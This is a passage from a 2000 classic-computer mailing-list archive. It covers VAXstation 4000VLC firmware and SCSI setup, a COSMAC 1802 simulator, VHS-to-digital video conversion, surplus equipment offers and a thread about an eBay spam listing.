my firmware. If I figure out how to change it I'll make it available for other VLC owners. On a whim I connected up the keyboard/monitor and booted VMS. It came up but when I logged on it said "Can't Determine Terminal Type" and scrolls the screen about half way down. I thought VMS might be smart enough to know it was using the framebuffer but I guess not. --Chuck From emu at ecubics.com Tue May 2 06:55:27 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:52:14 2005 Subject: VAX/VLC firmware upgrade? References: <4.3.1.2.20000501214731.032afeb0@208.226.86.10> Message-ID: <005101bfb42d$508c6750$5d01a8c0@p2350> ----- Original Message ----- From: Chuck McManis To: Sent: Monday, May 01, 2000 22:51 Subject: VAX/VLC firmware upgrade? > The VLC that has no issues has Firmware 1.5, the one that has issues has > Firmware 1.3. I'm wondering if there is a way to flash the firmware? I've > got an EPROM programmer but I don't know if there are is anything else I > need to do. Try to exchange te EPROMs first. That's the easiest way to find out, if the hardware is flaky ... cheers, emanuel From bbrown at harper.cc.il.us Tue May 2 06:52:37 2000 From: bbrown at harper.cc.il.us (Bob Brown) Date: Sun Feb 27 18:52:14 2005 Subject: IBM MT/ST Commercial "The Paperwork Explosion" In-Reply-To: References: Message-ID: >Hi all, > >Just received my previously-mentioned Raymond Scott "Manhattan Research" >CD-Set/Book and it's incredible. Wow. > >On-topic, it has the soundtrack to an industrial film for the MT/ST from >1967. In there is Jim Henson's voice announcing, "Used systematically >throughout an office, these two pieces of IBM equipment alone have >increased people's productivity by 50%." > >If anyone is interested in hearing it, maybe I could post a couple of >snippets as mp3 files or something...just let me know. > >Cheers, > >Aaron Sounds interesting! -Bob Bob Brown Saved by grace Intranet Sysadmin Page: http://info1.harper.cc.il.us/~bbrown From emu at ecubics.com Tue May 2 07:10:24 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:52:14 2005 Subject: VAX/VLC firmware upgrade? References: <4.3.1.2.20000501214731.032afeb0@208.226.86.10> <4.3.1.2.20000502005115.01a68320@208.226.86.10> Message-ID: <006501bfb42f$6d041570$5d01a8c0@p2350> ----- Original Message ----- From: Chuck McManis To: Sent: Tuesday, May 02, 2000 01:57 Subject: Re: VAX/VLC firmware upgrade? > No issues in that regard. I'm running the RZ24L that came inside of it. I > did get the occasional bit of flakiness before I got it terminated but once > that was done loaded VMS and NetBSD just fine. I use for this purpose a nice expensive active terminator. Really helps if you don't know if your termination is right, specialy, if you're mixing SCSI1 & SCSI 2 devices. And check the cable ! > I'm using a Sun CD-ROM to load is (I know, Horrors!) > Its only a 2x drive but it does work. It's definitely faster than a 72x drive which doesn't work ;-) > >Plus I think it dislikes my 'floater' CD-ROM. This is the CD-ROM I use on > >*everything* that's SCSI. The wierd thing is, I've used it to load other > >DEC systems, but I had to flip the blocksize switch, and I'm just about > >positive I just flipped it to 2048-byte blocks, WTF! I took mine, put in in the right block mode an labeled it "DEC !!!". And never change it again ! > I don't think that's the issue. Perhaps your drive is attempting to > negotiate disconnect/reconnect behaviour and the VLC isn't telling it not > to? What happens with the drive goes off line, just it just hang or is > there and error message to that effect? On my M76 I took off the delayed > spin-up jumper to insure that the drive was there when probed but I don't > think the VLC cares. Weird idea, but: are the fans in the vlc working ? probably the drives are getting hot (small enclosure !!) and shut down ? > The other thing of course is to be sure that you're not running one of the > drives as ID 6, and perhaps consider moving the disk to a different ID (I > don't know if disconnect/recconect might "assume" the computer is 7 but you > never know.) Probably wouldn't even start on ID 6. > >I'm starting to think the only way I'll get this system up is to boot it > >into my cluster as a diskless client! Grrr! > Should work :-) Try again ;-) The VLC is a nice SCSI box, and with 24 MByte Ram not even that bad for VMS. > >BTW, I'm 1.3 on my firmware. > > If I figure out how to change it I'll make it available for other VLC owners. (c) ! Good luck, emanuel From allisonp at world.std.com Tue May 2 09:17:25 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:14 2005 Subject: COSMAC 1802 Simulator In-Reply-To: <000e01bfb3e3$cc930b00$ca646464@dogclient01> Message-ID: I'd be interested. what does it require to run? Allison On Mon, 1 May 2000, Mike wrote: > Pretty funny.... Or I guess synchronistic, I guess. I just got my 1802 > simulator past the first milepost tonight (It's two days old). It'll > process all the Cosmac's instruction's, show registers, and deposit to and > examine ram. > > I could use a few beta testers if you happen to know cosmac machine code. > > it's at: > http://users.leading.net/~dogas/classiccmp/cosmac/cosmac.htm > > Tomorrow night, I'll add arbitrary ram block saves and loads from disk and a > mini assember if things go fast. Eventally, I'll add a nice GUI to it and > clean up the code that I'm muddling around with. > > Cheers > - Mike: dogas@leading.net > > > -----Original Message----- > From: allisonp > To: classiccmp@classiccmp.org > Date: Monday, May 01, 2000 11:02 PM > Subject: Re: COSMAC 1802 Simulator > > > > > >-----Original Message----- > >From: Kirk Davis > > > > > >>Ugh - I spent some time writing a 1802 simulator > >>and wanted to get Tiny Basic going on it. I just went > > > > > >That was poor planning. ;) > > > >>though my manuals and I have the Basic manual, but have > >>seemed to lost the hex dump for the Basic Interpreter itself. > > > > > >Well if someone else doesn't drop a box of stuff on you I have > >Quest TB for the 1802 somewhere safe. I can zap a copy of > >the dump. But you can't have the paper tape! > > > > > >Allison > > > From allisonp at world.std.com Tue May 2 09:21:41 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:14 2005 Subject: follow up: 11/23+ question In-Reply-To: <000101bfb3f4$9e6d0440$bf01a8c0@dadaboom.com> Message-ID: This is not a DEC hack nor standard production. I'd suspect someone in the field needed a fifo buffered serial and did it this way for themselves. It could be a CSS (computer special systems, DEC) hack as they did oddball things for big customers (tempest and the like) but I'd never seens much in the way of hacked Qbus oddities like that one. Allison On Mon, 1 May 2000, William King wrote: > Thanks to the people who have responded. There is no suffix to the board > number. M8189, that's it. I've looked really closely at the soldering of the > UART socket. It has the same flow as the rest of the components, so I still > think it was manufactured this way. I powered it up tonight and determined > that the daughter card is the console port. I connected a terminal and it > works as you would expect. The firmware seems to be standard 11/23+ 1.0 > firmware. I think I'll just by a 6402 UART and replace the daughter card. > > Thanks again, > Bill > From jhfine at idirect.com Tue May 2 09:41:47 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:52:14 2005 Subject: latest ebay trash References: <200004270332.UAA03641@civic.hal.com> Message-ID: <390EE92B.F0F644B1@idirect.com> >Dwight Elvey wrote: > Leaving_eBay___Clearance_Sale!!!__Last_Chance > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=318208006 > I hope everyone either leaves this spam alone or > uses a false name to bid it up to a ridiculous price. > I was thinking of heading to the nearest library > to do just that. Although a dutch auction, if enough > junk bids come in, he'll never be able to find any > real ones. Jerome Fine replies: Interesting. I followed it for a few days, but it has now disappeared? Was it also a scam? Sincerely yours, Jerome Fine From dogas at leading.net Tue May 2 10:23:05 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:52:14 2005 Subject: COSMAC 1802 Simulator Message-ID: <000201bfb44a$f5fad7e0$ca646464@dogclient01> >I'd be interested. what does it require to run? >Allison Wonderfull Allison, thanks! There's a win-32 console binary (it's small) for 95/98/NT or a single .cpp source file that shouldn't be too hard to recompile anywhere else. Dump machine code in with the m! command (for ex: " m! 0 1525c4" will dump INC (r5); DEC (r5); NOP into 'ram' starting at address 0 (A write cursor allows continuations in entry, another "m! c4c4c4" will write 3 NOP's starting a address 3 using the above example) and then three 't' commands will single-step execute the instructions (or a single "t 3" would have too). 'r' dumps registers at any point. and "m? address [count]" looks at memory. Thanks for the help! - Mike: dogas@leading.net > > >On Mon, 1 May 2000, Mike wrote: > >> Pretty funny.... Or I guess synchronistic, I guess. I just got my 1802 >> simulator past the first milepost tonight (It's two days old). It'll >> process all the Cosmac's instruction's, show registers, and deposit to and >> examine ram. >> >> I could use a few beta testers if you happen to know cosmac machine code. >> >> it's at: >> http://users.leading.net/~dogas/classiccmp/cosmac/cosmac.htm >> >> Tomorrow night, I'll add arbitrary ram block saves and loads from disk and a >> mini assember if things go fast. Eventally, I'll add a nice GUI to it and >> clean up the code that I'm muddling around with. >> >> Cheers >> - Mike: dogas@leading.net >> >> >> -----Original Message----- >> From: allisonp >> To: classiccmp@classiccmp.org >> Date: Monday, May 01, 2000 11:02 PM >> Subject: Re: COSMAC 1802 Simulator >> >> >> > >> >-----Original Message----- >> >From: Kirk Davis >> > >> > >> >>Ugh - I spent some time writing a 1802 simulator >> >>and wanted to get Tiny Basic going on it. I just went >> > >> > >> >That was poor planning. ;) >> > >> >>though my manuals and I have the Basic manual, but have >> >>seemed to lost the hex dump for the Basic Interpreter itself. >> > >> > >> >Well if someone else doesn't drop a box of stuff on you I have >> >Quest TB for the 1802 somewhere safe. I can zap a copy of >> >the dump. But you can't have the paper tape! >> > >> > >> >Allison >> > >> > From allisonp at world.std.com Tue May 2 11:20:05 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:14 2005 Subject: COSMAC 1802 Simulator In-Reply-To: <000201bfb44a$f5fad7e0$ca646464@dogclient01> Message-ID: Good runs under W95/nt then, have that running. M!... Ah UT4. have manual. Wheres Bin/CPP for it? Last emulator for 1802 I'd played with was z80 based, even on a 4mhz z80 it was faster than 1802. I wonder where I put that. Allison From elvey at hal.com Tue May 2 11:28:20 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:14 2005 Subject: latest ebay trash In-Reply-To: <390EE92B.F0F644B1@idirect.com> Message-ID: <200005021628.JAA05035@civic.hal.com> Jerome Fine wrote: > >Dwight Elvey wrote: > > > Leaving_eBay___Clearance_Sale!!!__Last_Chance > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=318208006 > > I hope everyone either leaves this spam alone or > > uses a false name to bid it up to a ridiculous price. > > I was thinking of heading to the nearest library > > to do just that. Although a dutch auction, if enough > > junk bids come in, he'll never be able to find any > > real ones. > > Jerome Fine replies: > > Interesting. I followed it for a few days, but it has now disappeared? > Was it also a scam? Hi Jerome I also wrote eBay. There is nothing in eBay rules about having these kind of items for sale but eBay does require that they keep them in the correct category. These kind of offers are required to stay in the services/information category and not in other categories. While the offer they had may be completely legitimate, it was inappropriate to put the sale in other groups. I suspect that eBay moved them to the other group. If in the future, others on classiccmp@classiccmp.org see inappropriate items, they can report it to eBay at: http://cgi3.ebay.com/aw-cgi/eBayISAPI.dll?ReportInfringing They will generally get to it. Like any business, they don't like to be taken advantage of any more than anyone else. Dwight From John.Allain at donnelley.infousa.com Tue May 2 11:47:59 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:52:14 2005 Subject: VHS to MPG/AVI/Quicktime conversion? In-Reply-To: <20000501213919.W12705@mrbill.net> Message-ID: <000601bfb456$2d611ef0$0e0301ac@dba00802.databaseamerica.com> Bill Bradford said: > I've got the official Sun video tape of the SPARCstation 10... > Anybody on these lists have the ability to digitize/convert... I've been doing VHS -> AVI CD-ROM's for a couple of weeks now. So far the process is still fun. I've tested these works on everything from P-III's to 486-33's and am quite happy with the results so far. If your tape is < 65 minutes or so I can fit it on 1 CD. If less I can start upping the quality ( HxWxFrames/S ) If more then the quality may be pretty low, or I can make two. Anybody out there have a good software MPG converter? John A. From af-list at wfi-inc.com Tue May 2 12:12:01 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:52:14 2005 Subject: VHS to MPG/AVI/Quicktime conversion? In-Reply-To: <000601bfb456$2d611ef0$0e0301ac@dba00802.databaseamerica.com> Message-ID: I have a copy of Ulead-whatever-it-is that came with my capture card that will do mpeg. It works well...contact me off list and we can work out the details. Cheers, Aaron On Tue, 2 May 2000, John Allain wrote: > > Bill Bradford said: > > I've got the official Sun video tape of the SPARCstation 10... > > Anybody on these lists have the ability to digitize/convert... > > > > I've been doing VHS -> AVI CD-ROM's > for a couple of weeks now. > So far the process is still fun. > > I've tested these works on everything from P-III's > to 486-33's and am quite happy with the results so far. > > If your tape is < 65 minutes or so I can fit it on 1 CD. > If less I can start upping the quality ( HxWxFrames/S ) > If more then the quality may be pretty low, or I can make > two. > > Anybody out there have a good software MPG converter? > > John A. > From kdavis at bender.ndx.net Tue May 2 11:08:09 2000 From: kdavis at bender.ndx.net (Kirk Davis) Date: Sun Feb 27 18:52:14 2005 Subject: COSMAC 1802 Simulator In-Reply-To: from "allisonp@world.std.com" at May 02, 2000 12:20:05 PM Message-ID: <200005021608.JAA18992@bender.ndx.net> > > > Good runs under W95/nt then, have that running. > > M!... Ah UT4. have manual. > > Wheres Bin/CPP for it? > I'm working a version of it and hope to have Linux ported to my elf tonight. It's that dang 1802 memory management that is holding me up ;^) > Last emulator for 1802 I'd played with was z80 based, even on a 4mhz z80 > it was faster than 1802. I wonder where I put that. > Was this for CP/M? I'd love to see a copy of this. Kirk > Allison > From kdavis at bender.ndx.net Tue May 2 11:58:54 2000 From: kdavis at bender.ndx.net (Kirk Davis) Date: Sun Feb 27 18:52:14 2005 Subject: VHS to MPG/AVI/Quicktime conversion? In-Reply-To: <000601bfb456$2d611ef0$0e0301ac@dba00802.databaseamerica.com> from "John Allain" at May 02, 2000 12:47:59 PM Message-ID: <200005021658.JAA19123@bender.ndx.net> > > > Bill Bradford said: > > I've got the official Sun video tape of the SPARCstation 10... > > Anybody on these lists have the ability to digitize/convert... > > > > I've been doing VHS -> AVI CD-ROM's > for a couple of weeks now. > So far the process is still fun. > > I've tested these works on everything from P-III's > to 486-33's and am quite happy with the results so far. > > If your tape is < 65 minutes or so I can fit it on 1 CD. > If less I can start upping the quality ( HxWxFrames/S ) > If more then the quality may be pretty low, or I can make > two. > > Anybody out there have a good software MPG converter? > I've been playing around with making VCD's that I've been able to play on a DVD players. I've looked at a few software encoders. These make MPG1/VCD compliant streams. The best I've seen is the Panasonic. It's a plugin for Premier. The Xing encoder is ok. It's standalone and you can download a crippled demo from their website. Hope this helps Kirk From healyzh at aracnet.com Tue May 2 13:30:07 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:14 2005 Subject: VAXstation 4000VLC Message-ID: I'm starting to hate SCSI :^) Possible problems: 2GB HD VAX Hobbyist V2 CD-ROM SCSI Cable Definite problem: The way the switches were set on the CD-ROM. The only thing I can think of is that somehow those switches got scrambled, not only was there the 512/2048-byte block problem I was fighting last night, but there were apparently termination problems. Anyway I've not got OpenVMS V7.1 loaded on a 1GB HD that came out of a Super Computer and am configuring it. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From Innfogra at aol.com Tue May 2 14:56:26 2000 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:52:14 2005 Subject: (no subject) Message-ID: My Equipment recycler got in a couple of pieces of equipment that He thought the group might be interested in. 1) IBM 3370 Head of string in good condition with an ADIC? custom controller. 2)"Ultimate" Pick machine from about 1980. I think this is a PDP 11 based machine. This is an a rack with a large Hard Drive and 1/2" tape. Both are operational. Both would need freight shipment. We are experienced in shipping large units. If anyone is interested please contact me off list at whoagiii@aol.com. Paxton From Innfogra at aol.com Tue May 2 15:01:35 2000 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:52:14 2005 Subject: IBM 3370 & Ultimate PDP availiable was (no subject) Message-ID: <78.4b488a6.26408e1f@aol.com> Sorry for the repost but I forgot the subject line. My Equipment recycler got in a couple of pieces of equipment that he thought the group might be interested in. 1) IBM 3370 Head of string in very good condition with an ADIC? custom controller. 2) "Ultimate" Pick machine from about 1980. I think this is a PDP 11 based machine. This is an a rack with a large Hard Drive and 1/2" tape. I haven't seen either but if there is any interest I will get more info. Both are operational. Both would need freight shipment. We are experienced in shipping large units. If anyone is interested please contact me off list at whoagiii@aol.com. Paxton From allisonp at world.std.com Tue May 2 15:39:22 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:14 2005 Subject: COSMAC 1802 Simulator In-Reply-To: <200005021608.JAA18992@bender.ndx.net> Message-ID: > I'm working a version of it and hope to have Linux > ported to my elf tonight. It's that dang 1802 memory > management that is holding me up Memory management? It's a flat 64kb space. > Was this for CP/M? I'd love to see a copy of this. It was z80 binary that ran on most anything as it carried it's own IO but I got it as a binary, it was on one of the sites out there many millions of years ago. There was also an article in Byte (or maybe KB) back then for an 8080 emulator for 1802. What made the 8080 one interesting was X,P,T, D, DF and register stack were displayed like in the RCA manuals in emulated time. So the need for IO was no there. Allison From mikeford at socal.rr.com Tue May 2 15:55:39 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:16 2005 Subject: ComputerWorld Junk article, a reply In-Reply-To: <000601bfb456$2d611ef0$0e0301ac@dba00802.databaseamerica.com> References: <20000501213919.W12705@mrbill.net> Message-ID: Nothing like your name in the paper. Remember that ComputerWorld article on computer junk? I immediately wrote a letter to the editor saying don't toss those computers, email me and I will find a person that wants them. They published my letter with my email address. As stated in the letter I will be passing on all the stuff that isn't in SoCal to my vast network of old computer loving friends. Here is the first batch. Please reply directly to the person with the stuff. ******************************** >Hi Mike >My name is Sharon and I am the Network Analyst for Steuben Trust Company (A >Community Bank) In Hornell, NY. (South Western NY) >My boss read your letter in Computerworld and we were hoping you might have >a contact for us. We have some old computers, Nic cards, modems (internal >and External), hubs, Monitors, etc that we have stored in a room collecting >dust. Do you know of anyone in this area that could benefit from this >equipment? We can not find anyone in the area interested, if you could >help it I would appreciate it very much. > >Thank you for your time, my address is Sharon.Houghtaling@Steubentrust.com > >Sincerely, >Sharon I will pass your email on to my "network" of friends, and I am sure you will have direct replies from them soon. Thank you very much for contacting me. Cheers, Mike Ford ******************************** From ss at allegro.com Tue May 2 16:54:06 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:52:23 2005 Subject: VHS to MPG/AVI/Quicktime conversion? In-Reply-To: <20000501213919.W12705@mrbill.net> Message-ID: <200005022155.OAA05314@opus.allegro.com> Re: > Anybody on these lists have the ability to digitize/convert video > from VHS tape (NTSC) to a computer-readable (MPG preferred, but AVI or > Quicktime would also work) format? If you look, you'll find that video capture devices range from cheap and lo-res (< $100 and about 150 pixels across) to mid-range ($200 to $300, about 250 to 300 pixels across) to expensive ($300+, about 300 to 640 (or more?) pixels across). There appear to be 4 basic interfaces: 1) USB 2) parallel port 3) backplane (i.e., card plugs into your system) 4) FireWire I found one low cost device in the mid-range performance category, made by Belkin. It's a USB device and cost me about $89. Not counting the cable, it's about the size of a pack of gum. Inputs: SVHS and regular RCA jack. The included software uses your sound card to get the audio. It captures to MPEG format. I'm not a video expert...but the quality seems acceptable to me. Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From ss at allegro.com Tue May 2 16:55:26 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:52:23 2005 Subject: VHS to MPG/AVI/Quicktime conversion? In-Reply-To: <20000501213919.W12705@mrbill.net> Message-ID: <200005022156.OAA05336@opus.allegro.com> Re: > Anybody on these lists have the ability to digitize/convert video > from VHS tape (NTSC) to a computer-readable (MPG preferred, but AVI or > Quicktime would also work) format? If you look, you'll find that video capture devices range from cheap and lo-res (< $100 and about 150 pixels across) to mid-range ($200 to $300, about 250 to 300 pixels across) to expensive ($300+, about 300 to 640 (or more?) pixels across). There appear to be 4 basic interfaces: 1) USB 2) parallel port 3) backplane (i.e., card plugs into your system) 4) FireWire I found one low cost device in the mid-range performance category, made by Belkin. It's a USB device and cost me about $89. Not counting the cable, it's about the size of a pack of gum. Inputs: SVHS and regular RCA jack. The included software uses your sound card to get the audio. It captures to MPEG format. I'm not a video expert...but the quality seems acceptable to me. Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From ss at allegro.com Tue May 2 16:58:11 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:52:23 2005 Subject: (Fwd) Re: VHS to MPG/AVI/Quicktime conversion? Message-ID: <200005022159.OAA05371@opus.allegro.com> (possible re-post, sorry...Pegasus aborted the first time) Re: > Anybody on these lists have the ability to digitize/convert video > from VHS tape (NTSC) to a computer-readable (MPG preferred, but AVI or > Quicktime would also work) format? If you look, you'll find that video capture devices range from cheap and lo-res (< $100 and about 150 pixels across) to mid-range ($200 to $300, about 250 to 300 pixels across) to expensive ($300+, about 300 to 640 (or more?) pixels across). There appear to be 4 basic interfaces: 1) USB 2) parallel port 3) backplane (i.e., card plugs into your system) 4) FireWire I found one low cost device in the mid-range performance category, made by Belkin. It's a USB device and cost me about $89. Not counting the cable, it's about the size of a pack of gum. Inputs: SVHS and regular RCA jack. The included software uses your sound card to get the audio. It captures to MPEG format. I'm not a video expert...but the quality seems acceptable to me. Stan Sieler sieler@allegro.com Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From jrkeys at concentric.net Tue May 2 17:03:11 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:52:23 2005 Subject: Free (almost) to good home... References: <3.0.5.32.20000501142405.0095b640@mail.bluefeathertech.com> Message-ID: <001401bfb482$3624e900$e0711fd1@default> If not taken I would like to have it ----- Original Message ----- From: Bruce Lane To: Sent: Monday, May 01, 2000 4:24 PM Subject: Free (almost) to good home... > By 'Almost,' I meant just for postage ($3.20 Priority Mail). > > I have, still with the tape in its shrink-wrap, the 'Personal Application > Kit' for the NEC PC-8201A portable. Got the manual with it as well. > > First one with an offer to cover postage gets it! > > Thanks. > > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Bruce Lane, Owner and head honcho, Blue Feather Technologies > http://www.bluefeathertech.com // E-mail: kyrrin@bluefeathertech.com > Amateur Radio: WD6EOS since Dec. '77 > "Our science can only describe an object, event, or living thing in our > own human terms. It cannot, in any way, define any of them..." > From af-list at wfi-inc.com Tue May 2 17:13:15 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:52:23 2005 Subject: VHS to MPG/AVI/Quicktime conversion? In-Reply-To: <200005022155.OAA05314@opus.allegro.com> Message-ID: What I bought was one of the last of the original stock of Real3D's Starfighter PCI cards. It's a 16-meg card based on the Intel i740 chipset, cost $49. I still see them on eBay for about the same amount... On Tue, 2 May 2000, Stan Sieler wrote: > Re: > > Anybody on these lists have the ability to digitize/convert video > > from VHS tape (NTSC) to a computer-readable (MPG preferred, but AVI or > > Quicktime would also work) format? > > If you look, you'll find that video capture devices range from cheap and > lo-res (< $100 and about 150 pixels across) to mid-range ($200 to $300, > about 250 to 300 pixels across) to expensive ($300+, about 300 to 640 (or > more?) pixels across). > > There appear to be 4 basic interfaces: > > 1) USB > > 2) parallel port > > 3) backplane (i.e., card plugs into your system) > > 4) FireWire > > I found one low cost device in the mid-range performance category, > made by Belkin. It's a USB device and cost me about $89. Not counting the > cable, it's about the size of a pack of gum. Inputs: SVHS and regular > RCA jack. The included software uses your sound card to get the audio. > > It captures to MPEG format. > > I'm not a video expert...but the quality seems acceptable to me. > > > > Stan Sieler sieler@allegro.com > www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler > From jrkeys at concentric.net Tue May 2 17:23:27 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:52:23 2005 Subject: New Find 1st of the week Message-ID: <016c01bfb485$0ab446a0$e0711fd1@default> Today I picked up a working (notes the machine say so, not tested yet) PDP11/23+ in the rack with 2 RL02's, a MTI 8" FD unit with 2 drives, and digital unit with a small black face harddrive mounted in it. Everything is cabled marked as being working items, unit itself is pretty clean. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000502/20bdcad6/attachment-0001.html From donm at cts.com Tue May 2 18:56:06 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:23 2005 Subject: (no subject) In-Reply-To: Message-ID: On Tue, 2 May 2000 Innfogra@aol.com wrote: > My Equipment recycler got in a couple of pieces of equipment that He thought > the group might be interested in. > > 1) IBM 3370 Head of string in good condition with an ADIC? custom controller. Advanced Digital Information Corporation, Redmond WA, makers of tape equipment. - don > 2)"Ultimate" Pick machine from about 1980. I think this is a PDP 11 based > machine. This is an a rack with a large Hard Drive and 1/2" tape. > > Both are operational. Both would need freight shipment. We are experienced in > shipping large units. > > If anyone is interested please contact me off list at whoagiii@aol.com. > > Paxton > From emu at ecubics.com Tue May 2 19:18:25 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:52:23 2005 Subject: VAXstation 4000VLC References: Message-ID: <020901bfb495$1f3cd370$5d01a8c0@p2350> ----- Original Message ----- From: Zane H. Healy To: Sent: Tuesday, May 02, 2000 12:30 Subject: VAXstation 4000VLC > I'm starting to hate SCSI :^) Not really, or ;-) > Possible problems: > 2GB HD Is it possible to use bigger than 1GB as system ? Don't know ... > Anyway I've not got OpenVMS V7.1 loaded 7.1 or 7.2.1 ? IIRC, there were some issues before 7.2 with non dec drives during install, but I'm not sure. > on a 1GB HD that came out of a Super Computer and am configuring it. Just for the heck of it, (Never installed VMS on a VLC before) i tried it few hours before. I took a TEAC CDROM + 1 GB Fujitsu Drive. Took me around 1 hour to logon in DECWindows, without any problems. Good luck, emanuel From vaxman at uswest.net Tue May 2 19:59:31 2000 From: vaxman at uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:52:23 2005 Subject: VAX/VLC firmware upgrade? In-Reply-To: <4.3.1.2.20000501214731.032afeb0@208.226.86.10> Message-ID: Hi Chuck, The firmware is probably stored in EPROMs, and not flash. You need to find a blank replacement EPROM of the same type (size/speed/pinout) and copy the good one to the new one. Is there a manufacture's part number on the V1.5 ROM? I might be able to cross reference it to a current replacement. Clint On Mon, 1 May 2000, Chuck McManis wrote: > Hello All, > > I've got two VLCs, I'm running them both headless. They are connected to S1 > and S2 of a VT340 terminal. One of them "loses" the terminal sometimes. If > try typing nothing is echoed although I can still send stuff to the serial > port from a process and it displays. Sometimes I can "fix" it by breaking > to the chevron and then typing 'c' (continue). This happens on both VMS and > NetBSD so I don't think it is a driver problem. > > The other VLC doesn't have any issues like this at all. > > The VLC that has no issues has Firmware 1.5, the one that has issues has > Firmware 1.3. I'm wondering if there is a way to flash the firmware? I've > got an EPROM programmer but I don't know if there are is anything else I > need to do. > > --Chuck > > > From vaxman at uswest.net Tue May 2 20:01:48 2000 From: vaxman at uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:52:23 2005 Subject: VAX/VLC firmware upgrade? In-Reply-To: <005101bfb42d$508c6750$5d01a8c0@p2350> Message-ID: Make sure to read the old one first! Or at least verify they are the same manufacture's part number. It would be truly bad to destroy your good firmware, and not have anyway to replace it. clint On Tue, 2 May 2000, emanuel stiebler wrote: > ----- Original Message ----- > From: Chuck McManis > To: > Sent: Monday, May 01, 2000 22:51 > Subject: VAX/VLC firmware upgrade? > > > > The VLC that has no issues has Firmware 1.5, the one that has issues has > > Firmware 1.3. I'm wondering if there is a way to flash the firmware? I've > > got an EPROM programmer but I don't know if there are is anything else I > > need to do. > > Try to exchange te EPROMs first. That's the easiest way to find out, if the > hardware is flaky ... > > cheers, > emanuel > > > > From healyzh at aracnet.com Tue May 2 20:15:14 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:23 2005 Subject: VAXstation 4000VLC In-Reply-To: <020901bfb495$1f3cd370$5d01a8c0@p2350> from "emanuel stiebler" at May 02, 2000 06:18:25 PM Message-ID: <200005030115.SAA18755@shell1.aracnet.com> > > Possible problems: > > 2GB HD > > Is it possible to use bigger than 1GB as system ? Don't know ... Yes, that's only a problem on the early 3100 models. I think I'm going to have to try the 2GB again, since I think the 1GB disk is making some wierd noises. > > Anyway I've not got OpenVMS V7.1 loaded > > 7.1 or 7.2.1 ? IIRC, there were some issues before 7.2 with non dec drives > during install, but I'm not sure. 7.1, I *wish* I had 7.2.1, though I'm more interested in TCPIP 5.1 (it's not out yet) as it's supposed to include features that I need. I think any version starting with V6 is fairly able to handle 3rd party disks, but even with V7.2 or V7.2.1 there are some disks that just won't work. > > on a 1GB HD that came out of a Super Computer and am configuring it. > > Just for the heck of it, (Never installed VMS on a VLC before) i tried it > few hours before. > I took a TEAC CDROM + 1 GB Fujitsu Drive. Took me around 1 hour to logon in > DECWindows, without any problems. Close to what I did, I've got a 1GB Fujitsu, and a Mitsuami (that's close to right) 4x CD-ROM in I believe a Panasonic external case. I don't have a monitor though so I still need to get TCPIP on there so I can try DECwindows remotely. It's the remote DECwindows performance that I care about anyway since this is the method in which I want to use the system. How good did you think the DECwindows performance was locally? Zane From allisonp at world.std.com Tue May 2 19:32:00 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:23 2005 Subject: VAXstation 4000VLC Message-ID: <006701bfb499$770b2bc0$7964c0d0@ajp166> >> Possible problems: >> 2GB HD > >Is it possible to use bigger than 1GB as system ? Don't know ... Yes you can buld bigger than 1gb. the problem if the VLC isn't aware was that if the system crashes under VMS it would use the BOOT ROM driver for the SCSI disk. For many of the 3100 series systems this meant if you used a disk larger than 1.07gb and it crashed it would over write the area that was in the 1st 1gb. if it never crashed it would run fine as the VMS driver that is loaded was large disk aware. Later systems that were SCSI had this fixed but I don't know about this one. The easy fix is to build a system using boud volumes with the smaller being under 1gb. Also reduce the swap to 5k blocks and put page and swap files on secondary drive where they can be any size. FYI: I only have one VAX that now has a 1gb disk, this has never been a problem for me and I run a lot of stuff in rather small disks. >7.1 or 7.2.1 ? IIRC, there were some issues before 7.2 with non dec drives 